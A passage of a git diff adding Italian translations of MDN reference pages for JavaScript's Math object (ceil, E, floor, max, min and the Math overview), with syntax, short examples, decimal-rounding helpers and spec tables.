+Math.round10(-55.1, 1);    // -60
+// Floor
+Math.floor10(55.59, -1);   // 55.5
+Math.floor10(59, 1);       // 50
+Math.floor10(-55.51, -1);  // -55.6
+Math.floor10(-51, 1);      // -60
+// Ceil
+Math.ceil10(55.51, -1);    // 55.6
+Math.ceil10(51, 1);        // 60
+Math.ceil10(-55.59, -1);   // -55.5
+Math.ceil10(-59, 1);       // -50
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.6', 'Math.ceil')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.ceil', 'Math.ceil')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.ceil', 'Math.ceil')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_browser">Compatibilità dei browser</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.ceil")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/math/e/index.html b/files/it/web/javascript/reference/global_objects/math/e/index.html
new file mode 100644
index 0000000000..859d16145b
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/math/e/index.html
@@ -0,0 +1,79 @@
+---
+title: Math.E
+slug: Web/JavaScript/Reference/Global_Objects/Math/E
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/E
+---
+<div>{{JSRef}}</div>
+
+<p>La costante <strong><code>Math.E</code></strong> rappresenta la base del logaritmo naturale, e, equivale approssimativamente a 2.718.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.E</mi></mstyle><mo>=</mo><mi>e</mi><mo>≈</mo><mn>2.718</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.E}} = e \approx 2.718</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-e.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Poiché <code>E</code> è una proprietà statica di <code>Math</code>, lo si usa sempre come <code>Math.E</code>, piuttosto che come un metodo di un <code>Oggetto Math</code> appositamente creato (<code>Math</code> non ha un costruttore).</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Uso_di_Math.E"><code><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="background-color: #333333;">Uso di </span></font>Math.E</code></h3>
+
+<p>Il codice seguente restitusice e:</p>
+
+<pre class="brush: js">function getNapier() {
+  return Math.E;
+}
+
+getNapier(); // 2.718281828459045
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.1', 'Math.E')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.e', 'Math.E')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.e', 'Math.E')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.E")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/math/floor/index.html b/files/it/web/javascript/reference/global_objects/math/floor/index.html
new file mode 100644
index 0000000000..3f7f6c7851
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/math/floor/index.html
@@ -0,0 +1,158 @@
+---
+title: Math.floor()
+slug: Web/JavaScript/Reference/Global_Objects/Math/floor
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/floor
+---
+<div>{{JSRef}}</div>
+
+<p>La funzione <strong><code>Math.floor()</code></strong> restituisce il numero intero, arrotondato per difetto, del numero passato come parametro.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code>Math.floor(<var>x</var>)</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un numero.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un numero intero rappresentante l'arrotondamento per difetto del numero passato come parametro.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Siccome <code>floor()</code> è un metodo statico di <code>Math</code>, viene sempre usato come <code>Math.floor()</code> piuttosto che come metodo di un oggetto <code>Math</code> creato in precedenza (<code>Math</code> non è un costruttore).</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Math.floor()"><code>Math.floor()</code></h3>
+
+<pre class="brush: js">Math.floor( 45.95); //  45
+Math.floor( 45.05); //  45
+Math.floor(  4   ); //   4
+Math.floor(-45.05); // -46
+Math.floor(-45.95); // -46
+</pre>
+
+<h3 id="Arrotondamento_decimale">Arrotondamento decimale</h3>
+
+<pre class="brush: js">// Closure
+(function() {
+  /**
+   * Decimal adjustment of a number.
+   *
+   * @param {String}  type  The type of adjustment.
+   * @param {Number}  value The number.
+   * @param {Integer} exp   The exponent (the 10 logarithm of the adjustment base).
+   * @returns {Number} The adjusted value.
+   */
+  function decimalAdjust(type, value, exp) {
+    // If the exp is undefined or zero...
+    if (typeof exp === 'undefined' || +exp === 0) {
+      return Math[type](value);
+    }
+    value = +value;
+    exp = +exp;
+    // If the value is not a number or the exp is not an integer...
+    if (isNaN(value) || !(typeof exp === 'number' &amp;&amp; exp % 1 === 0)) {
+      return NaN;
+    }
+    // Shift
+    value = value.toString().split('e');
+    value = Math[type](+(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp)));
+    // Shift back
+    value = value.toString().split('e');
+    return +(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp));
+  }
+
+  // Decimal round
+  if (!Math.round10) {
+    Math.round10 = function(value, exp) {
+      return decimalAdjust('round', value, exp);
+    };
+  }
+  // Decimal floor
+  if (!Math.floor10) {
+    Math.floor10 = function(value, exp) {
+      return decimalAdjust('floor', value, exp);
+    };
+  }
+  // Decimal ceil
+  if (!Math.ceil10) {
+    Math.ceil10 = function(value, exp) {
+      return decimalAdjust('ceil', value, exp);
+    };
+  }
+})();
+
+// Round
+Math.round10(55.55, -1);   // 55.6
+Math.round10(55.549, -1);  // 55.5
+Math.round10(55, 1);       // 60
+Math.round10(54.9, 1);     // 50
+Math.round10(-55.55, -1);  // -55.5
+Math.round10(-55.551, -1); // -55.6
+Math.round10(-55, 1);      // -50
+Math.round10(-55.1, 1);    // -60
+// Floor
+Math.floor10(55.59, -1);   // 55.5
+Math.floor10(59, 1);       // 50
+Math.floor10(-55.51, -1);  // -55.6
+Math.floor10(-51, 1);      // -60
+// Ceil
+Math.ceil10(55.51, -1);    // 55.6
+Math.ceil10(51, 1);        // 60
+Math.ceil10(-55.59, -1);   // -55.5
+Math.ceil10(-59, 1);       // -50
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale. Implementata in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.9', 'Math.floor')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.floor', 'Math.floor')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.floor', 'Math.floor')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_Browser">Compatibilità dei Browser</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.floor")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/math/index.html b/files/it/web/javascript/reference/global_objects/math/index.html
new file mode 100644
index 0000000000..69cd2ec012
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/math/index.html
@@ -0,0 +1,208 @@
+---
+title: Math
+slug: Web/JavaScript/Reference/Global_Objects/Math
+translation_of: Web/JavaScript/Reference/Global_Objects/Math
+---
+<div>{{JSRef}}</div>
+
+<p>Math è un oggetto precostruito che possiede proprietà e metodi per restituire i risultati di costanti e funzioni matematiche. Math non è una funzione.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Diversamente dagli altri oggetti globali, Math non è un costruttore. Tutte le proprietà e i metodi di Math sono statici. Per riferirsi alla costante Pi si usa  Math.PI e per chiamare la funzione Seno si usa Math.sin(x) , dove x è l'argomento del metodo. Le costanti sono definite con la piena precisione dei numeri reali in JavaScript.</p>
+
+<h2 id="Proprietà">Proprietà</h2>
+
+<dl>
+ <dt>{{jsxref("Math.E")}}</dt>
+ <dd>Costante di Eulero e base dei logaritmi naturali, approssimativamente 2.718.</dd>
+ <dt>{{jsxref("Math.LN2")}}</dt>
+ <dd>Logaritmo naturale di 2, approssimativamente 0.693.</dd>
+ <dt>{{jsxref("Math.LN10")}}</dt>
+ <dd>Logaritmo naturale di 10, approssimativamente 0.693.</dd>
+ <dt>{{jsxref("Math.LOG2E")}}</dt>
+ <dd>Logaritmo a base 2 di E, approssimativamente 1.443.</dd>
+ <dt>{{jsxref("Math.LOG10E")}}</dt>
+ <dd>Logaritmo a base 10 di E, approssimativamente 1.443.</dd>
+ <dt>{{jsxref("Math.PI")}}</dt>
+ <dd>Rapporto tra la circonferenza di un cerchio ed il suo diametro, approssimativamente 3.14159.</dd>
+ <dt>{{jsxref("Math.SQRT1_2")}}</dt>
+ <dd>Radice quadrata di 1/2  ; equivale a 1 fratto la radice quadrata di 2, approsimativamente  0.707.</dd>
+ <dt>{{jsxref("Math.SQRT2")}}</dt>
+ <dd>Radice quadrata di 2, approssimativamente 1.414.</dd>
+</dl>
+
+<h2 id="Metodi">Metodi</h2>
+
+<div class="note">
+<p>Ricorda che le funzioni trigonometriche (<code>sin()</code>, <code>cos()</code>, <code>tan()</code>, <code>asin()</code>, <code>acos()</code>, <code>atan()</code>, <code>atan2()</code>) si aspettano e restituiscono gli angoli in radianti. To convert radians to degrees, divide by <code>(Math.PI / 180)</code>, and multiply by this to convert the other way.</p>
+</div>
+
+<div class="note">
+<p>Ricorda che la precisione di molte delle funzioni matematiche è dipendente dall'sistema di implementazione. questo significa che browser differenti possono dare risultati diversi, e anche lo stessomotore JS su un differente sistema operativo o architettura può dare risultati discordi.</p>
+</div>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/Math/abs", "Math.abs(x)")}}</dt>
+ <dd>Returns the absolute value of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/acos", "Math.acos(x)")}}</dt>
+ <dd>Returns the arccosine of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/acosh", "Math.acosh(x)")}}</dt>
+ <dd>Returns the hyperbolic arccosine of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/asin", "Math.asin(x)")}}</dt>
+ <dd>Returns the arcsine of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/asinh", "Math.asinh(x)")}}</dt>
+ <dd>Returns the hyperbolic arcsine of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/atan", "Math.atan(x)")}}</dt>
+ <dd>Returns the arctangent of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/atanh", "Math.atanh(x)")}}</dt>
+ <dd>Returns the hyperbolic arctangent of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/atan2", "Math.atan2(y, x)")}}</dt>
+ <dd>Returns the arctangent of the quotient of its arguments.</dd>
+ <dt>{{jsxref("Global_Objects/Math/cbrt", "Math.cbrt(x)")}}</dt>
+ <dd>Returns the cube root of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/ceil", "Math.ceil(x)")}}</dt>
+ <dd>Returns the smallest integer greater than or equal to a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/clz32", "Math.clz32(x)")}}</dt>
+ <dd>Returns the number of leading zeroes of a 32-bit integer.</dd>
+ <dt>{{jsxref("Global_Objects/Math/cos", "Math.cos(x)")}}</dt>
+ <dd>Returns the cosine of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/cosh", "Math.cosh(x)")}}</dt>
+ <dd>Returns the hyperbolic cosine of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/exp", "Math.exp(x)")}}</dt>
+ <dd>Returns E<sup>x</sup>, where <var>x</var> is the argument, and E is Euler's constant (2.718…), the base of the natural logarithm.</dd>
+ <dt>{{jsxref("Global_Objects/Math/expm1", "Math.expm1(x)")}}</dt>
+ <dd>Returns subtracting 1 from <code>exp(x)</code>.</dd>
+ <dt>{{jsxref("Global_Objects/Math/floor", "Math.floor(x)")}}</dt>
+ <dd>Returns the largest integer less than or equal to a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/fround", "Math.fround(x)")}}</dt>
+ <dd>Returns the nearest <a href="http://en.wikipedia.org/wiki/Single-precision_floating-point_format" title="link to the wikipedia page on single precision">single precision</a> float representation of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/hypot", "Math.hypot([x[, y[, …]]])")}}</dt>
+ <dd>Returns the square root of the sum of squares of its arguments.</dd>
+ <dt>{{jsxref("Global_Objects/Math/imul", "Math.imul(x, y)")}}</dt>
+ <dd>Returns the result of a 32-bit integer multiplication.</dd>
+ <dt>{{jsxref("Global_Objects/Math/log", "Math.log(x)")}}</dt>
+ <dd>Returns the natural logarithm (log<sub>e</sub>, also ln) of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/log1p", "Math.log1p(x)")}}</dt>
+ <dd>Returns the natural logarithm of <code>1 + x</code> (log<sub>e</sub>, also ln) of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/log10", "Math.log10(x)")}}</dt>
+ <dd>Returns the base 10 logarithm of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/log2", "Math.log2(x)")}}</dt>
+ <dd>Returns the base 2 logarithm of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/max", "Math.max([x[, y[, …]]])")}}</dt>
+ <dd>Returns the largest of zero or more numbers.</dd>
+ <dt>{{jsxref("Global_Objects/Math/min", "Math.min([x[, y[, …]]])")}}</dt>
+ <dd>Returns the smallest of zero or more numbers.</dd>
+ <dt>{{jsxref("Global_Objects/Math/pow", "Math.pow(x, y)")}}</dt>
+ <dd>Returns base to the exponent power, that is, <code>base<sup>exponent</sup></code>.</dd>
+ <dt>{{jsxref("Global_Objects/Math/random", "Math.random()")}}</dt>
+ <dd>Returns a pseudo-random number between 0 and 1.</dd>
+ <dt>{{jsxref("Global_Objects/Math/round", "Math.round(x)")}}</dt>
+ <dd>Returns the value of a number rounded to the nearest integer.</dd>
+ <dt>{{jsxref("Global_Objects/Math/sign", "Math.sign(x)")}}</dt>
+ <dd>Returns the sign of the x, indicating whether x is positive, negative or zero.</dd>
+ <dt>{{jsxref("Global_Objects/Math/sin", "Math.sin(x)")}}</dt>
+ <dd>Returns the sine of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/sinh", "Math.sinh(x)")}}</dt>
+ <dd>Returns the hyperbolic sine of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/sqrt", "Math.sqrt(x)")}}</dt>
+ <dd>Returns the positive square root of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/tan", "Math.tan(x)")}}</dt>
+ <dd>Returns the tangent of a number.</dd>
+ <dt>{{jsxref("Global_Objects/Math/tanh", "Math.tanh(x)")}}</dt>
+ <dd>Returns the hyperbolic tangent of a number.</dd>
+ <dt><code>Math.toSource()</code> {{non-standard_inline}}</dt>
+ <dd>Returns the string <code>"Math"</code>.</dd>
+ <dt>{{jsxref("Global_Objects/Math/trunc", "Math.trunc(x)")}}</dt>
+ <dd>Returns the integral part of the number x, removing any fractional digits.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8', 'Math')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math-object', 'Math')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>New methods {{jsxref("Math.log10()", "log10()")}}, {{jsxref("Math.log2()", "log2()")}}, {{jsxref("Math.log1p()", "log1p()")}}, {{jsxref("Math.expm1()", "expm1()")}}, {{jsxref("Math.cosh()", "cosh()")}}, {{jsxref("Math.sinh()", "sinh()")}}, {{jsxref("Math.tanh()", "tanh()")}}, {{jsxref("Math.acosh()", "acosh()")}}, {{jsxref("Math.asinh()", "asinh()")}}, {{jsxref("Math.atanh()", "atanh()")}}, {{jsxref("Math.hypot()", "hypot()")}}, {{jsxref("Math.trunc()", "trunc()")}}, {{jsxref("Math.sign()", "sign()")}}, {{jsxref("Math.imul()", "imul()")}}, {{jsxref("Math.fround()", "fround()")}}, {{jsxref("Math.cbrt()", "cbrt()")}} and {{jsxref("Math.clz32()", "clz32()")}} added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math-object', 'Math')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/math/max/index.html b/files/it/web/javascript/reference/global_objects/math/max/index.html
new file mode 100644
index 0000000000..1c7f425fd0
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/math/max/index.html
@@ -0,0 +1,145 @@
+---
+title: Math.max()
+slug: Web/JavaScript/Reference/Global_Objects/Math/max
+tags:
+  - JavaScript
+  - Math
+  - Referenza
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/max
+---
+<div>{{JSRef}}</div>
+
+<p>La funzione <strong><code>Math.max()</code></strong> restituisce il massimo tra zero o più numeri.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code>Math.max([<var>valore1</var>[, <var>valore2</var>[, ...]]])</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>valore1, valore2, ...</code></dt>
+ <dd>Numeri.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Dato che <code>max()</code> è un metodo statico di <code>Math</code>, viene solitamente usato tramite <code>Math.max()</code>, piuttosto che come metodo di un oggetto di tipo <code>Math</code> (<code>Math</code> non è un construttore).</p>
+
+<p>Se non vengono passati parametri, il risultato è -{{jsxref("Infinity")}}.</p>
+
+<p>Se anche solo uno dei parametri non può essere convertito a numero, il risultato è {{jsxref("NaN")}}.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Usando_Math.max()">Usando <code>Math.max()</code></h3>
+
+<pre class="brush: js">Math.max(10, 20);   //  20
+Math.max(-10, -20); // -10
+Math.max(-10, 20);  //  20
+</pre>
+
+<p>La seguente funzione usa il metodo {{jsxref("Function.prototype.apply()")}} per trovare l'elemento massimo in un array di numeri. <br>
+ <code>getMaxOfArray([1, 2, 3])</code> è equivalente a <code>Math.max(1, 2, 3)</code> ma può essere usata con array di qualunque dimensione creati programmaticamente.</p>
+
+<pre class="brush: js">function getMaxOfArray(numArray) {
+  return Math.max.apply(null, numArray);
+}
+</pre>
+
+<p>Con il nuovo {{jsxref("Operators/Spread_operator", "spread operator")}}, ottenere l'elemento massimo di un array è ancora più semplice.</p>
+
+<pre class="brush: js">var arr = [1, 2, 3];
+var max = Math.max(...arr);
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale. Implementata in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.11', 'Math.max')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.max', 'Math.max')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.max', 'Math.max')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_inoltre">Vedi inoltre</h2>
+
+<ul>
+ <li>{{jsxref("Math.min()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/math/min/index.html b/files/it/web/javascript/reference/global_objects/math/min/index.html
new file mode 100644
index 0000000000..562292e15b
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/math/min/index.html
@@ -0,0 +1,160 @@
+---
+title: Math.min()
+slug: Web/JavaScript/Reference/Global_Objects/Math/min
+tags:
+  - JavaScript
+  - Matemática
+  - Math
+  - Minimo
+  - Più grande
+  - Più piccolo
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/min
+---
+<p> </p>
+
+<div>{{JSRef}}</div>
+
+<p>La funzione  <strong><code>Math.min()</code></strong> ritorna il più piccolo tra zero o più numeri.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code>Math.min([<var>value1</var>[, <var>value2</var>[, ...]]])</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>value1, value2, ...</code></dt>
+ <dd>numeri.</dd>
+</dl>
+
+<h3 id="Valori_di_Ritorno">Valori di Ritorno</h3>
+
+<p>Il più piccolo dei valori dati in input. Se uno degli argomenti non può essere convertito in numero, viene ritornato {{jsxref("NaN")}}.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Siccome <code>min()</code> è un metodo static di <code>Math</code> , lo si può sempre usare come <code>Math.min()</code>, piuttosto che come un metodo di un oggetto istanza di <code>Math</code> da te creato (<code>Math</code> non possiede costruttori).</p>
+
+<p>Se non sono dati argomenti allora il metodo restituirà {{jsxref("Infinity")}}.</p>
+
+<p>Se anche uno degli aromenti non può essere convertito in un numero, il risultato sarà {{jsxref("NaN")}}.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Usando_Math.min()">Usando <code>Math.min()</code></h3>
+
+<p>L'sempio di seguito assegna a <code>z</code> il valore minore tra  <code>x</code> e <code>y</code>:</p>
+
+<pre class="brush: js">var x = 10, y = -20;
+var z = Math.min(x, y);
+</pre>
+
+<h3 id="Ritagliare_un_valore_con_Math.min()">Ritagliare un valore con <code>Math.min()</code></h3>
+
+<p><code>Math.min()</code> è spesso usato per limitare un valore in modo che sia sempre minore o uguale a un certo valore limite.<br>
+ Ad esempio il seguente codice</p>
+
+<pre class="brush: js">var x = f(foo);
+
+if (x &gt; boundary) {
+  x = boundary;
+}
+</pre>
+
+<p>può essere scritto come</p>
+
+<pre class="brush: js">var x = Math.min(f(foo), boundary);
+</pre>
+
+<p>{{jsxref("Math.max()")}} può essere similmente utilizzato per limitare il valore massimo.</p>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale. Implementato in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.12', 'Math.min')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.min', 'Math.min')}}</td>
+   <td>{{Spec2('ES6')}}</td>
